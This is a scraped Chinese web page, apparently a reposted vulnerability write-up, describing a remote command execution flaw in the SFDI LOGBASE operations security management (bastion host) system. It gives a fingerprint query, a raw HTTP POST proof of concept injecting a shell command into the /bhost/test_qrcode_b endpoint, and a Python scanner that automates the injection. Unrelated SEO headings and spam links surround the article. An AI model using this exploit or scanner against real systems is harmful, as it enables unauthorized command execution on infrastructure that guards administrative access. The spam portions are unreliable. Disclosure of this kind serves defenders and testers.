当前位置: 首页 > news >正文

有一个可以做任务的网站wordpress直接发送密码

有一个可以做任务的网站,wordpress直接发送密码,西安站,做网站费免图片网站思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞 一、漏洞描述二、漏洞影响三、网络测绘四、漏洞复现1.手动复现2.自动化复现3.python源代码 免责声明#xff1a;请勿利用文章内的相关技术从事非法测试#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任… 思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞 一、漏洞描述二、漏洞影响三、网络测绘四、漏洞复现1.手动复现2.自动化复现3.python源代码 免责声明请勿利用文章内的相关技术从事非法测试由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失均由使用者本人负责所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 一、漏洞描述 思福迪运维安全管理系统是思福迪开发的一款运维安全管理堡垒机。思福迪运维安全管理系统 test_qrcode_b 路由存在命令执行漏洞。 二、漏洞影响 思福迪 运维安全管理系统 三、网络测绘 app“思福迪-LOGBASE” 四、漏洞复现 登陆页面 1.手动复现 验证POC POST /bhost/test_qrcode_b HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 Content-Length: 23 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://xxx.xxx.xxx.xxx Accept-Encoding: gzipz11z2|id;z3bhostburp截图 2.自动化复现 小龙POC检测脚本正式开源请各路大神完善和批评 小龙POCexe传送门: 小龙POC工具 小龙POC开源传送门: 小龙POC工具 3.python源代码 # SFDI_Security_Management_System_test_qrcode_b_Command_Vuln_Scan.pyimport requests from requests.packages.urllib3.exceptions import InsecureRequestWarning from requests.exceptions import Timeoutdef Scan_SFDI_Security_Management_System_test_qrcode_b_Command_Vuln(url, proxies, headers, append_to_output):proxies {http: http://127.0.0.1:8080,https: http://127.0.0.1:8080}if url.endswith(/):path bhost/test_qrcode_belse:path /bhost/test_qrcode_bif not url.startswith(http://) and not url.startswith(https://):url http:// urlheaders {User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36,Content-Length: 23,Connection: close,Content-Type: application/x-www-form-urlencoded,Referer: url,Accept-Encoding: gzip,}encodetext url pathdataz11z2|id;z3bhostappend_to_output(, green)append_to_output(f扫描目标: {url}, yellow)try:requests.packages.urllib3.disable_warnings(InsecureRequestWarning)req1 requests.post(encodetext, datadata, headersheaders, verifyFalse, timeout20, proxiesproxies)if req1.status_code 200 and uid in req1.text:append_to_output(f[] {url} 存在思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞, red)else:append_to_output(f[-] {url} 不存在思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞, green)except Timeout:append_to_output(f[!] 请求超时跳过URL: {url}, yellow)except Exception as e:if HTTPSConnectionPool in str(e) or Burp Suite Professional in str(e):append_to_output(f[-] {url} 证书校验错误或者证书被拒绝, yellow)else:append_to_output(str(e), yellow)
http://www.sadfv.cn/news/87619/

相关文章:

  • 教育加盟培训网站建设给网站做路由
  • app 微商城网站建设昆明网络公司收费标准
  • 爱站库免费关键词排名优化软件
  • 无锡高端网站建设公司电商seo什么意思
  • 无锡设计网站找哪家中国建设银行网站查询密码是什么意思
  • 苏州网站制作电话高端网站的特点
  • 网页设计网站的主题wordpress 微博 链接地址
  • 销售网站建设考核指标wordpress rss文件
  • 如何制作公司网站米绘花型设计师服务平台
  • 一些网站只能在微信打开怎么做的有名的产品设计公司
  • 江苏网站设计公司电话合肥做网站价格是多少
  • 广州建筑公司网站专业重庆房产网站建设
  • 网站优化目录数码科技网站
  • 龙岗同乐社区做网站wordpress打不开自定义
  • 建设工程质量监理协会网站做货代的可以在哪些网站打广告
  • 广州商旅网站制作网上商城有哪几家
  • 电子商务网站开发公司anivia wordpress templates 1.3
  • 做图像网站做网站目录
  • 沈阳酒店团购网站制作自己做的网站怎么接入网页游戏
  • 有没有做培养基的网站山西制作网站公司排名
  • 校园网站建设和管理工作制度中国邮政做特产的网站
  • 网站的基本结构安徽网站搭建
  • 培训中心网站建设论文搜狗站长推送工具
  • 网站建设的项目方案模板开发一套软件需要多少钱
  • qwins是哪个网站做的seo教程 百度网盘
  • 做网站的流程是怎么样的三亚网站开发
  • 网站显示结算网站注册手机号安全吗
  • 网站建设 APPhtml特效网站
  • 网站设计 工作定制型网站建设推广
  • 外汇黄金网站建设安卓app做网站外壳